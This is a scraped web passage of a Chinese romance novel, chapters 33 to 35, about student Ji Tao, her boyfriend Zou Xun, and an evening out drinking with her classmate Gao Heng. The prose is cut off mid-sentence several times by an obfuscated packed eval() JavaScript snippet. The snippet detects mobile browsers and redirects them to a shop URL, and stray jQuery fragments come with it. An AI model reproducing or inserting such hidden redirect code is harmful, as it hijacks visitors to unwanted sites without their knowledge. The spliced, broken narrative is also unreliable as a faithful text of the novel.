加上好友后,邹巡先是一股脑发了几张照片,有他的大学毕业证,研究生录取通知书,他在J大校园和导师夫妇的合照(甚至就是当天刚照的,邹巡的衣服和发型可以表明),一家外国人的家庭照,以及他自己的、外加照片中美国夫妻的身份证件。 季桃正纳闷,邹巡问她愿不愿意陪照片里的小女孩玩,报酬是每天八十美元,因为吃饭时,季桃提过暑期准备打工。 季桃躺在床上捂嘴偷笑。她半点没怀疑邹巡是骗子,当然有可能碰上骗子,但邹巡肯定不是。他这么认真证明,怕她以为他是骗子,真可爱。至于他介绍的工作,八十美元一天,她怎么会不愿意? 邹巡三言两语约好了带她去“面试”。接下来,又教她打网球。之后,季桃轻松愉快地陪小姑娘玩了四十天,挣到的钱是以往假期的三倍,足够一学期的学费连带生活费,甚至还能匀出钱报名驾校,可以学车了。 为表示感谢,季桃决定正儿八经请邹巡一回——此前他们一起在食堂吃过几次饭,因为太便宜了,不好意思提“请”字,都是各付各的——去稍微贵点、人均二三百的馆子。 邹巡欣然答应,回头又请她吃越南菜,交往便持续下来。等到九月份开学,两人已经游过四五次泳,打过七八场球,吃过十来顿饭,相当熟了。 他们在同一个校区。这个校区最大,有本科生,也有研究生,但分属两个不同的圈子,少有交集。邹巡刚入校,且又低调,除了他导师和一同上课的同学,还没人认识他。 但他的样貌不低调,在八号宿舍楼下站过几回,楼里一大半女生都记住了他的脸,纷纷跑来问季桃:“你男朋友很帅嘛。咱们学校的?哪个院的?” 季桃只好红着脸解释他不是男朋友。 这时季桃心里有点儿嘀咕了。她本来是挺高兴的:要是才见面一两回,邹巡急着表白,她反而会失望。可这会儿了,他还没表白,她又陷入了另一种失望。 论日子,两人倒好像没有哪一天不见的,可要是天天上课,和同班男生也是天天见呀。要论男女朋友关系,当然得有个“正式确认”,不然,顶多算暧昧对象,她和邹巡甚至连暧昧都不够。 依季桃的经验看,男生追女生,多多少少都要炫耀自己,这是动物本能,就像雄鸟炫羽毛。但邹巡在她面前就从不炫耀。什么意思?——他对她季桃没意思呗。 但她又想,邹巡要炫耀,浑身上下哪里不是值得张扬的资本,正因如此,让他炫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不用不用,我不想买药,真的不厉害,没事。” “没事就好,吓坏我了,我都穿上鞋了。” 这时他语气变得轻松,开玩笑一般,可是季桃感觉出他确实换好了鞋,刚才就像搭在弓上的箭,预备发射过来。她的心一下子欢乐地抽紧了,“没事,不疼了。” 险些又问他:“要是我睡不着,你能不能陪我再说会儿话?”话都到了嘴边,被她一把捂住,生怕紧张的呼吸声被他听出端倪。 邹巡笑着说:“那快睡吧,肚子不疼也要好好休息。”口气真像个大哥哥,挂了电话。 第二天见面时,季桃为半夜打扰他道歉,他玩笑说:“我还以为你和人玩大冒险,要给通讯录排最后的打电话。”季桃便立即说:“我看看——呀,你真是我联系人列表最后一个。”其实她早就发现了。 邹巡没提后来差点换鞋出门的事,对整件事他没再多提一句,以至于季桃对昨夜的“自持”又后悔又庆幸——她不禁怀疑邹巡当时的焦急究竟是心疼她,还是担心“妹妹”,还是随时为朋友“两肋插刀”的义气使然。她可并不甘心只和邹巡做个朋友啊。 再不然,邹巡真是那种传说中的恋爱高手,被她碰上了?偶尔季桃甚至这样想,浑身一凛。 33. 我女朋友 难道还和他过不了几招?好像她季桃就不会玩暧昧一样。 还真不会。况且,游泳打球等活动好像给两人的关系定下了一个健康向上的基调,哪怕偶尔身体碰触,也是合理的、正大光明的。总之,她和邹巡间的一切似被明亮的阳光照耀着,不是她以为适合暧昧那种氛围。 季桃一筹莫展了。 心里已经够惴惴不安的,还有外部压力呢。最让季桃为难的是,别人都不信她和邹巡不是恋人关系。 身为“校花”,三年过去了,季桃还没谈个男朋友,同楼的女生都攒了一肚子好奇,瞪大了眼睛要瞧瞧她到底找个什么样的。邹巡出现,大家没话说了。 是真没话说:男才女貌,摆在那儿,还用谁多嘴?而且可能因为邹巡太帅,气质又偏冷,女生们在他面前格外矜持,不大张口,也不撺掇季桃“让你男朋友请客吃饭”——这是所有“男朋友”必经的考验,更何况她们听说邹巡工作过几年,比别个“男朋友”应该富裕一些,本来是不会放过的。这倒免了季桃额外的担心:万一邹巡听见什么话,误会她自作多情,太尴尬了。 但是季桃看得懂舍友们的表情,她们的眼神明白无误表达出对她的羡慕和佩服。季桃差点苦笑——看,女孩子的心思多好猜。 谁还没点儿虚荣心啊,不然是人么?要是有邹巡这么一个男朋友,再领承着大家羡慕的目光,季桃该多么有面子,多么飘飘然啊。 前提是,如果邹巡真是她男朋友。 可惜不是。更糟的是,别人都默认是,连问都不问了,让季桃想解释都没地儿解释。 不过,确实还有一个人肯相信她,是个挺讨厌的女生,那女生公然说:“你们怎么都说那是季桃男朋友,咱们季桃一心喜欢有钱大叔,你们看不出来?” 季桃回:“不好意思啊,咱俩喜好真不一样,你不用担心我和你抢。” 那女生也并不恼:“邹巡要是你男朋友,有什么不能承认的,不怕帅哥被人撬走?——哎,季桃,既然不是,是不是我们都有机会?”她边说边向旁边几个女生挤眼睛。 季桃倒不怕,可当天晚上,她偏偏做了个活灵活现的梦。她约邹巡去自习,邹巡拒绝了,说:“我还有事,我要陪我女朋友出去玩。”说完这话,那女生便从他身后站出来,挽着他的手臂,看着季桃静静地微笑。 在梦里,季桃真的给气哭了。 季桃认定自己的心思在邹巡眼前是袒露无遗,而邹巡却不动声色,真让人气恼——咱们就等着,看将来有没有你丢不开的那天? 有时她想算了,以后别见邹巡了,省得越陷越深。可是,关系都好成朋友了,没一句解释突然抽身,赌气的意思太明显,而且,季桃还是很没出息地想等个转机。 很快就等到了。 那天她上完课出来正好碰见邹巡,两人一起去食堂,买好饭刚坐下,还没拿起筷子,季桃看见食堂门口进来四个人,四人全是大个儿,一看就是体育生。 其中之一是对季桃表示过好感的田丰。 田丰是篮球特招入校的,在校队打前锋,长得挺有型,比邹巡还高半个脑袋。一个男生个子高、长得不错、打篮球,听上去就讨女生喜欢,但季桃不喜欢田丰。头一个缘故是他太高,有压迫感;二一个他是低了两级的学弟,季桃对姐弟恋没兴趣;第三,田丰是真正四肢发达头脑简单那种体育生——年龄差一两岁还谈不上代沟,但两人的心智真的隔了一道雅鲁藏布大峡谷,季桃和他根本没话说。 讲句不厚道的,和田丰站在一块,季桃总感觉领了一头巨型二哈,假若他能做到不说话、不动,季桃又会感觉自己带着个壮汉保镖——说拉风是拉风,说尴尬也是真尴尬。 上学期一次校内比赛,田丰中途赌气离场,篮球往地上狠狠一掼,赛后,又差点到八号宿舍下公开表白,结果,连辅导员都来找季桃,婉转告诫她不要和体育生恋爱,以免影响对方成绩。 季桃气坏了:“我和他什么关系都没有,即便有,也是他招惹我,我从没招惹过他。怎么不说他训练强度不够,还有时间想乱七八糟的?” 不过,她还是当着辅导员的面给田丰打了个电话,说自己专注于学业,不打算找男朋友,同时劝他也专心学习、专心训练,其它事情以后再考虑不迟。 那之后,季桃尽可能躲着校队的人。谁知,这次抬头一瞥,正看见田丰,也正被他看见,田丰眼睛一亮。 “我买瓶饮料。”季桃站起身说,走到一旁的冷饮柜台。 她磨磨蹭蹭,等着田丰走过去。本来不想喝水,但既然来了,只买一个不好看,就拿了两瓶绿茶,付了钱刚转身,正看见田丰几人。他们喜欢横成一排,浑不在意地堵住别人的路。 既然躲不过,干脆利用一下好了,季桃笑着和田丰打招呼。 田丰向同伴说了句什么,洋洋得意一摆脑袋,架式很足地走近她。 “吃完了?”田丰问。 “还没吃呢。” “等会儿,咱们一起。” “不好意思,我和朋友一块来的。” 田丰刚要扭头看,他队友从冰柜了抱出一堆雪糕过来,田丰便拿一支给季桃。 “我不吃,谢谢。” 田丰不由分说从她手里拿走一瓶水,把雪糕塞进去。“给个面儿。你请我喝水,这样好不好?”他望着季桃笑。 体育生有个好处,不会作伪,各种心事都在脸上表现得清清楚楚。倘若邹巡正好看见这一幕,就会明白她季桃也有很热情的仰慕者。 季桃对田丰笑了笑,田丰立即回了一个憨乎乎的笑。等他醒过神,急忙扭头寻找自己的同伴,仿佛刚刚扣了个篮,要是没人见证就遗憾了。 错过不了。季桃知道,今天晚上,在他们充斥着球鞋球袜味的宿舍里,自己的名字会成为吹嘘对象,由田丰本人一一传达到校队每一个成员耳朵里。这些大个儿除了比赛成绩,还爱攀比别的呢。 她忽然感到一阵沮丧,和田丰说拜拜,向邹巡走去。 邹巡看着她,大概也不是看她,是看她身后。 季桃刚把水放在桌上,邹巡就自然而然地拿起来,拧开瓶盖灌了一口,依然朝她后面的人看。 季桃发现邹巡的筷子还是干干净净放在旁边,这么说刚才他也一直看着,肯定全都看在眼里了。 她喜滋滋的,故意问:“你怎么不吃呀?” “等你。”邹巡说。 季桃忙去看他的眼睛,却没被他的目光接住。他始终望着她后方——还能看谁?肯定是田丰。邹巡一脸平静,他的脸色越平静,包含的不屑和挑衅越多。 而邻近几桌的人都含着一嘴饭,抬头望着他们。 季桃有点紧张了,刚动一下,邹巡说:“别回头,别理他们。” 这时他才面对季桃,和平时一样,说笑一两句,低下头吃饭。过得片刻,周围的人嘴巴也纷纷开始动起来。 季桃想,没事了,那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039069|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走了。 “挺烦人是吧?”邹巡问。 季桃含糊笑了笑。好像又不对了,好像他单纯就是看不惯田丰他们几个人。 邹巡再没就这个话题说半个字。季桃默默啃着雪糕,心里也凉凉的。 这是中午,下午季桃还有课,忍到下课她才掏出手机,邹巡没发来消息。 晚上她在宿舍,八点多钟,同屋一个女生回来,看见季桃满脸吃惊:“你怎么说的?这么快就解决了?” “解决什么?”季桃莫名其妙。 “篮球队那几个,叫什么来着,满学校找你男朋友,说今天晚上要让他好看。——校园墙上有,你没看见?” “没。”季桃抓起手机就奔了出去。 邹巡好像不关注校园墙,他八成也不知道,说不定田丰找不到他。 不过,给邹巡拨电话,无人接听。邹巡一向都是秒回消息,没道理不接电话。他该不会被堵在哪里,他们已经打起来了? 学校对学生打架处理很重,但田丰那个没脑子的家伙,一受人怂恿,不定能干出什么事来。他要是真打伤了邹巡,学校就是开除他又有什么用;即使没打得那么狠,依邹巡的骄傲性子,肯定也不会和田丰甘休。 得拦住他们。季桃不知道该去哪儿,不知不觉跑到了篮球馆。 在门外就听见球弹在地上的砰砰声,季桃停下喘了一口气,又怕田丰不在,便走进去看:天棚上大功率投光灯全开着,亮晃晃的,照着场地上几个奔跑跳跃的身影——年轻、壮美的身影。砰砰的响声清亮又高昂。 走近时,所有人都站住,扭头看她。邹巡是第一个转过脸的,脸上带着笑。 田丰在旁喊一句:“你女朋友找你来了。” 旁边数人粗莽地大笑,吹口哨,一哄而散。 季桃没理会他们,只看着邹巡。仿佛就在田丰喊出那句话的一瞬间,邹巡脸上的笑容不见了,下巴紧绷着,季桃的心一沉。 可是邹巡走来,伸手搂住她脖子,将她向自己胸前拉了拉。“我女朋友找我来了。我看见了。”他用指头尖轻轻碰了碰她的脸,又不满地向田丰等人离去的方向抬抬下巴,“谁问他了,是他多嘴嚷嚷的吗?” 脖子后面湿乎乎的,凉凉的,又烫烫的,好一时,她想起那是他手臂上的汗。季桃心花怒放。现在是她能够轻易控制的局面了。 “是你说的吗?也没问我呀,该我说。”她调皮地望进他的眼眸中。 “那你说呢?”邹巡问,一霎不霎盯着她。 季桃看出他有点紧张,心里扑哧一笑,嘴上不答。 “你怎么来了?”邹巡换个问题。 “我听见他们几个找你,我还以为你们要打架。” “是我找他们。” “找他们打球?我都不知道你篮球打得这么好。” 邹巡终于又笑了:“那当然,我可是和……比他们厉害得多得多的人打过。要是他们不走,你在这儿,让你看我超常发挥。”他难得吹了句牛。 “你找田丰,跟他说什么了?” “我说你敢再打扰我女朋友试试。” “你真这么说了?”季桃大笑。 “差不多这个意思。”邹巡手臂加力,又将她往胸膛揽了揽,“你怎么来了,是不是怕我吃亏?” “可不是嘛。我准备冲进来英雄救美。”季桃自豪地仰起脸,对着更衣室翘翘下巴,放肆道,“我看他们谁敢动我男朋友试试?” 34. 笨蛋 季桃一旦明了邹巡的心,便把握了主动。她迅速开窍,一面在爱情繁茂、美丽、无边无际的山林中好奇地探索,一面无师自通学会了勘察地形、测算距离、找到并占据优势地位。她款摆纤腰,在林木间穿梭而行,身影若隐若现;下一刻,又迈着灵动的双腿,在山崖上起舞,并在最意料不到的时候突然跃下来。她双眸狡黠,步履轻盈,满脑子古灵精怪的念头,令邹巡目不暇给,魂不守舍,激动难捺。换言之,从此后她是稳当当骑在了邹巡脖子上。 她问过邹巡,他诚实地看着她说:“我怕你不答应,以后不肯见我。我听说好多人追你,你对谁都不屑一顾。我总得掂量掂量自己够不够格。” 这是对她的恭维,要是他成竹在胸游刃有余,只能说明把她看成小菜一碟不是? 季桃暗自得意,“那你怎么又觉得自己够格了?”她问。 “值得冒险。再说,我比别人都强。”他坚定地回答。 果然,男人都这么自信啊。季桃笑了,她唯独喜欢邹巡“舍我其谁”的样子。 她当然不会将自己当初的忐忑泄露给邹巡。回想起来,那段其实蛮好玩:结果好就一切都好,过程一波三折,才有意思。不过话又说回来,她毕竟是吃了几天“爱情的苦头”,她心上还有一点点地方——针尖大的那么一小点儿——还记得那个“仇”。 那年冬天特别冷,有几天受极强寒潮影响,温度低得异样,在校门口买一袋小桔子,等一路走到宿舍,再剥开放进嘴里,咔呲咔呲的——里面都结冰碴子了。 其实还没到宿舍,还有三四十米。两人不约而同停下脚,站在路旁树下。这时才八点多,但天太冷,户外几乎不见人。傻傻站路边做什么呢?吃两只桔子好了。 桔子入口,从头到脚,整个人都冻成了一支冰棍。季桃嘴唇麻麻的,说:“我回去了。” 邹巡往宿舍楼望一眼:“你们屋没人。你回去就开空调,还要过一会儿才暖和。” “我钻到被子里。”季桃说。邹巡刚给她买了一条鹅绒被。“你回去冷不冷?”她也不吝在口头上对他关心。 “你去了就不冷。” 她装傻:“我该回去做作业了。”学了建筑,作业永远也做不完。但她的脚还拖延着。 “我那儿比宿舍安静,又舒服。我现在把空调打开,等到家就暖和了,你立即就可以写作业。” “男人住的地方,才不会舒服。不去。” “那你觉得哪里舒服,酒店?” “除非是五星酒店的总统套房。” “真的!那咱们就去……” “当然假的!”季桃气咻咻朝他腿上踢一脚,“哪怕下半身思考也能思考出来呀,笨蛋!” 邹巡搂住季桃肩膀,弯下头吻她。 季桃原先连在公共场所“眼神拉丝”的男女都瞧不上,更不必提其它——校园里,哪怕黑着天,毕竟随时可能有人经过,但她是不管不顾了。恋人们都是情不自禁啊,她和邹巡的两颗心尤其是不由分说要贴在一起。 季桃的不管不顾中,还包含着对邹巡的信任——在任何时候,对她的体贴都是指导邹巡行为的第一原则:即使不会被人看见,他最过分、放肆的举动也仅停留在嘴上。 他把衣襟敞开,将她一整个包进他的衣服里。季桃感觉邹巡身上的热量穿过羽绒服,传到她身上,暖融融的,吻了一会儿,刚吃过冰镇桔子的嘴巴也变得暖暖的了。 她使劲朝下拽着他贴身穿的套头卫衣,听见他又说:“去我那儿。” “不去!”季桃斩钉截铁,“就想骗我去,流氓成性。” 邹巡的语调十分委屈:“什么叫流氓,还成性?我是英雄无用武之地。” 季桃忍不住乐出了声,忙用手掩住嘴。 邹巡拿开她的手,又亲一会儿,向她耳边说:“很难受的。” “那你干嘛亲我?” “你以为不亲就不难受了?小笨蛋。” “那你可以再亲亲我。” 被吻着,季桃迷迷糊糊地想,去他那儿好像也可以。算了,还是不要吧。对她来说,拥抱和接吻就够了,对邹巡却不够,男生好惨。 恋人的亲密中,季桃不管心里是如何翻江倒海,至少还能保持表面的轻松自若;而邹巡,哪怕平素再沉稳,这种时候也实在有几分急躁难安的模样。 你也有今天呀,偏不让你轻易得逞。季桃狭促心起,又想笑了。 邹巡用力扳住她的头,在她嘴上狠狠吸一口:“你就笑吧,季桃。” 他在高兴和不高兴时叫她名字是两种不同声调,此时二者皆非,大概是可以叫做“恨得牙根发痒”式。季桃笑着从他手臂下挣出来,抢过袋子,又掏出几枚桔子,往他手里一塞,转身向宿舍跑去。 她内心的想法很难说清道明,大致是:邹巡越难受,越费劲地忍着,她的虚荣心就越满足;此外,还掺着一点点不愿邹巡看轻她的意思——虽然明知道他不会,且她也不会拿这种事“自提身价”,但她还是不由自主想,她就是这样的季桃,她自己说不清,也无法让邹巡说清,如果说得清,那就是另外一个季桃了,假如是另外的季桃,邹巡不会这样喜欢她、珍视她。 谭一伊都说:“天爷,你找着这么个帅哥还不赶紧把他放倒?” 可她就是没做好准备,还有点紧张;更何况,两个人可以做那么多有趣的事,要聊天要逛街要玩,谁会急着上床嘛。 完全是莫名其妙、心血来潮、突如其来,有一天,她对邹巡说:“我想去你那儿。” 那是大四第二学期春日里的一个午后。 她的第一次,邹巡的第一次,她和邹巡的第一次。 把这些说这么清楚没必要,没人在意,不过确实有一些意义在里面。 过了第一夜,邹巡就耍起了无赖。“让你下床就不错了,还指望放你回去你,当我纸糊的?” 季桃发现,他说情话少,说流氓话多,不过,她都喜欢听。 “我就说将来有你求饶的时候。”他特别爱说这句,真可气。 “你这是报复。” “我这是忍不住。”他俯身吻下来。 所有事情通盘考虑,或许邹巡才是真正沉得住气的一方。 . 邹巡说过,第一次见她就喜欢她了。从那时,到神明来,整整两年。两年中,无疑邹巡一直喜欢她,甚至可以说,到神明出现时达到了顶点。莫非到了顶点就开始走下坡了?或者,另有一个粗俗难听的解释——那之后,他们在一起同居,同居了四个月,很容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042792|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易想到的一个解释——“睡腻了”。 不对。抱着她时,邹巡的手臂还充满热情。季桃的身体抢先反驳,然后,头脑想了一想:莫如说,正好相反,邹巡和她之间,只剩下了身体交流。 究竟欠缺什么?思想不同步?灵魂不合拍?她身上已经没什么新东西了,他失去了新鲜感? 不可能。季桃对自己说。她能感觉到,在她的四周,在她的前方,还会有无数新故事,还要铺开无数崭新的情节;她的心有力地跳动,期盼着它们,就好像每天早上盼那枚新鲜的太阳跳出来,将红彤彤的光芒洒在她身上。每迈一步,她都是一个崭新的季桃。如果邹巡看不见,那是他的问题,他不过是个庸常男人。 季桃把闹铃时间从早上七点调整到六点五十。 铃一响,她立即跳下床。洗脸刷牙的时候,她一直在想,今天该没有了吧。因为神明也可能和她一样,后知后觉。——太阳消失了,得过八分钟才知道,不是吗? 知道邹巡已经不再向她奔来。 直到接完邹巡的叫早电话,她才去看短信。要是没有,她就可以给邹巡拨过去,告诉他:“今天没收到。” 就是这五个字,他会一下子明白。她的语气也已经酝酿好了,坦诚平和,既不惊慌失措,也不故作轻描淡写。她甚至想象五个字之后的沉默像一张紧紧绷起的透明薄膜,她用手指轻轻戳它,——啪。 但是奖金每天准时入账,她的手指僵在半空。 这样的僵硬和失落每个早晨发生一次。季桃想,从最开始看到短信时的喜悦,到渐渐习以为常、变得无所谓,再到现在简直害怕看见,是不是就和邹巡对她的感情一个样呢? 她抱住自己。 可是,有时候——特别是听到邹巡声音的时候,她不免又想,他还爱她,不然他不会那么温柔。 再说,如果邹巡对她已经是路人了,还可能收到奖金么?神明或许会有偏差,但不会错得那么离谱。邹巡对她还有爱,他的爱好比最高级的谎言,不可能是彻头彻尾的假话,而是真里掺假,假里存真。 季桃知道,假如有人能撒出那样的谎,就是邹巡。 他善于学习。谁说他不会用解物理题的方式解答爱情?物理比爱情复杂。他知道物体受力运动,知道电磁转换,知道能量守恒,知道引力波、量子纠缠、时空统一……说不定爱情对别人是奥秘,对他来说,已有规律可循。 他用计算机般的冷静大脑,找到了一种方法,求出一个比例,达到一个平衡,他对她的感情,可以刚刚好维持在那个固定的点,一分不会减少,一分不必增多。 可是,静止的爱不是爱,琥珀再美,里面的虫子是僵死的。不管神明怎么看,不管邹巡自己怎么想,在季桃心里,邹巡已经不爱她了。 为什么不干脆结束?为什么要尽力维持? 季桃冷笑着回答自己:这还用问?一月三十万,一年三百多万的免税收入,她所在事务所的头头都未必达到,而邹巡公司,能够上这个数的人,也是寥寥可数吧。 从目的到手段,全是错的。但他“矢志不渝”,而她害怕戳破。于是,钱仍然一日一日到账。依神明的看法,邹巡依然爱她,她依然爱邹巡。 大概是真的爱,不然她就不会这么难受了。 35. 乘虚而入 邹巡出差一周,该习惯的都习惯了。 这天下午,季桃收到高恒的消息,问最近哪天方便,想请她和邹巡吃饭。 季桃回:“我哪天都方便,不过邹巡出差去了。” 高恒说:“哦,那不着急,等他回来吧。” 季桃干脆拨电话过去:“你能不能先请我吃顿饭?” 高恒答应了,正好第二天是周五,他也不值班,便约好在周五晚上。下班后,季桃打车过去,服务员把她带到高恒定的包间。 “不好意思,堵了一会儿车。” “没事,我也刚到。邹巡去哪出差了?” 季桃一边坐下一边回答,高恒问她想吃什么菜,她说随便,又说:“能不能喝一点酒?” “好啊。”高恒正要叫服务员,季桃忽问:“你喜不喜欢去酒吧?” “以前只和同学去过一次。” “挺好玩的。”季桃说,“别点酒了。一会儿咱们去酒吧喝。反正明天不上班,你也不用加班吧?” 高恒摇头,探询地看了会儿季桃,末了笑着说:“行,那咱们就去。” 吃饭时,季桃问高恒:“你为什么当医生,是不是因为可以救死扶伤?” 高恒笑答:“倒没有那么高尚,当然治好了病人挺有成就感的,不过工作嘛,主要是为了糊口。因为从小对医生职业比较熟悉,后来就当了医生。” “那你觉不觉得,爱好和工作分开比较好,像你这样?” “我好像没什么严肃的爱好,都是消遣。怎么了?” 季桃认真地看着他:“假如你特别喜欢一件事,它正好能给你带来收益,刚开始你挺高兴的,但是时间长了,你可能会产生怀疑:你怎么知道你是真正爱它,还是为了赚钱?” 高恒想了一会儿,开口时却不回答,而是问季桃:“你现在还喜欢在书上画画吗?” “啊?”季桃一愣。” “你初中的时候,喜欢在书页空白的地方画些画,还挺好看,我看你好像每本书上都有。” “哦,”季桃记起来了,“那时候学习累了就在书上乱涂,后来就不画了。” “所以,你从小爱画画,爱好设计,以后学了建筑,这样很好呀。不用怀疑,热爱就是热爱,能不能赚钱是次要的。但你正巧能用它赚钱,这也没什么好惭愧,虽然钱不钱有点儿俗气,不好听,那你可以把它当成特别的奖励。” “奖励”两个字让季桃差点跳起来。“其实我不是说我。”定了定神,她说。 “说你男朋友?邹巡应该不会有这个苦恼吧。”高恒显得有点儿诧异,“他们公司待遇好像确实不错,赚钱多挺好的呀。是不是压力太大了?” “不是不是。”季桃急忙否认,想了想,说,“我刚才那个比方好像打得不太对。我的意思是,比如你本来挺喜欢一件事,或者说一个人吧,然后你突然发现,这个喜欢能给你带来好处。喜欢谁,本来是你的自由,喜欢也好,不喜欢也好,自在如风,谁听见风是得了好处才刮的?——因为有了这个好处,慢慢你会觉得受束缚,就有点儿不喜欢了,但是为了继续得到好处,你还逼着自己喜欢。” “怎么会有这种情况?”高恒问,“我想不太出来。你突然发现喜欢一个人能给你带来好处?喜欢一个人,自己会变好,这不是很好嘛,——不是这种好处?” 季桃一时想不出如何解释,高恒又说:“而且你说觉得受束缚,慢慢就不喜欢了,这也不对。不是光嘴上说喜欢不喜欢,肯定需要付出,需要牺牲一部分个人自由,如果觉得受束缚,不高兴,就不肯喜欢了,那这个人有点儿太不负责任。” 季桃思考一会儿高恒的话:“要是这个人太负责任,明明不喜欢,还非要喜欢,要假装呢?” “这也不可能吧。”高恒微笑着解释,“虽说要牺牲一些个人自由,但像你说的那样,喜欢谁,本身是自由的,别人强迫不来,自己也假装不来。” 季桃不吭声,高恒也就不再说话了。 两人默默吃完饭,高恒打开他的斜挎书包。“我今天带了一样东西,本来没想好要不要给你看。”他掏出一个大本子,手里停了一下,交给季桃。“既然都拿来了,还是还给你吧。” 本子从中间折起,打开来是试卷那么大,封面上印着“中考”、“模拟”、“物理”等大大小小、花花绿绿的字。好久不见这样的习题册了,季桃稀奇地接过来,望一眼高恒,翻开来。 题答得挺认真,全都写满了,用她初中时的字体:所有字均向左歪斜,又瘦又硬邦邦的。空白处确实被她画了插画,那时她已经学了素描,但这些画都只有几笔线条,一看就是信手涂鸦。 季桃笑着问:“为什么给我?是不是要证明我从小喜欢画画,所以学建筑设计?” “不是。”高恒说,“你画过一个人像——侧面像,画得挺好看,我还以为你就是随便画的。上回吃火锅,我看见你男朋友,从侧面看,他和你画的一模一样。” 季桃愣住,随即又飞快地翻开习题册。 “在第五页,二十五页,还有四十八页。”高恒说。 季桃翻到相应的页数。确实有三张侧脸图,分别是低头、仰头和平视。是剪影式的侧面人像,没有眉眼,只有头发、额头、鼻梁、嘴唇、下巴。对了,还有额头下一抹浓黑微翘的睫毛,画的时候她肯定想:这是点睛之笔。 三张图是同一个人的左脸,现在让她说,无疑画的是邹巡——从鼻梁的高低,到嘴唇的弧度,到那笔流畅的下颌线,甚至额头和眉骨表现出的微妙的骄傲感,都是他。 真是莫名其妙,要画也是画动漫人物,要画也是画女孩,怎么会画一张现实中的男生的脸? “我真是随便画的。邹巡都没去过咱们那儿,以前我哪能见过他。假如当时见过,照着画我画不了这么像。”季桃又诧异又伤心,尴尬地笑着。 “我知道。”高恒说,“所以……” “所以什么?” 高恒想了想,笑了:“我不知道。就算是个巧合吧,挺有意思的巧合,是不是?” 季桃站起身:“走吧,咱们去酒吧。” 两人打车来到一间很热闹的音乐酒吧。台上有乐队正在唱歌,为了方便说话,他们选了个离乐队最远的地方。 季桃问:“你容不容易喝醉,万一咱们两个都醉在这儿?” “我不喝醉就是。”高恒答,“我来吧。”他要和季桃抢着扫码。 季桃摇头:“扫上了,等我先点完这个,要是我没醉,咱们接着喝,你来点。要是我醉了,那就只能你点了。”她点了四杯僵尸。 酒送来,季桃立即抓起杯子,咽下一大口。有点儿失望,她想要那种一口就能醉的,她又喝了一大口。 高恒也尝了一口,说:“挺好喝,这酒是不是挺烈的?这种挺甜的酒好像都烈。” “不怕,咱们一人两杯。”季桃这才有几分高兴,“不喝醉就没意思了。有句话怎么说的?喝最烈的酒——后面是什么我忘了。” 半杯后,季桃越来越放松,眼睛亮晶晶的,向四处看。高恒问她:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049315|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你喜欢泡吧?经常来?” “没有。”季桃摇头否认,“不过这家我一直想来,网上说这里帅哥美女很多。” “那肯定是胡说,既然你没来过。”高恒笑了,这时他是懒懒靠在椅背上。 季桃装出惊讶的模样:“你怎么也变油嘴滑舌了?” “对不起,对不起。”高恒坐直身子,道歉说。 “没事。”季桃摆摆手,“你看看,确实挺多嘛。看那个,黑裙子的,好不好看?”她悄悄指一个女孩,让高恒一起看。 高恒随便看了几眼。 “怎么样?”季桃问。 高恒笑了笑:“挺好的,不过她大概不——” “你怕她不好追?我教你一个在夜店追女生的办法。”季桃蛮有把握地说,“你在女士洗手间附近等着,观察进出的人。别看脸,女生会补妆,不一定能看出来,你看她的头发。要是一个人脚步还稳,不像喝了很多,又在里面呆了很久,前面的头发又湿了,那她八成是哭过一场,洗了脸。你想什么样的女生来酒吧里哭?你要是对她有好感,就可以上去搭话了,这就叫乘虚而入。” “乘虚而入,这好像不太好吧。” “不太好。”季桃摇着头,看着高恒笑了,“我知道你不会,所以我才告诉你。” 两个人沉默了一会儿,季桃喝尽一杯酒,又端起第二杯,要与高恒碰。 高恒和她碰了,各自喝下一口,问她:“你现在怎么样?” “还没醉呢。”季桃遗憾道,“喝酒就是要醉,不然喝个什么劲儿?浪费!” “别急,这酒可能后劲大。”高恒挠挠后脑勺,有点发愁地笑着说,“让你喝这么多,回头邹巡该怪我了。” “不会怪。而且咱们不能叫喝多,是叫豪饮。”季桃雄壮地说,“我和高恒上酒吧喝了一杯——可能会怪。我和高恒对坐豪饮,这就没什么可怪的了吧?” 高恒笑了:“好吧,偶尔醉一两次没事。但你千万不要一个人来酒吧,不管是喝一杯还是豪饮。” 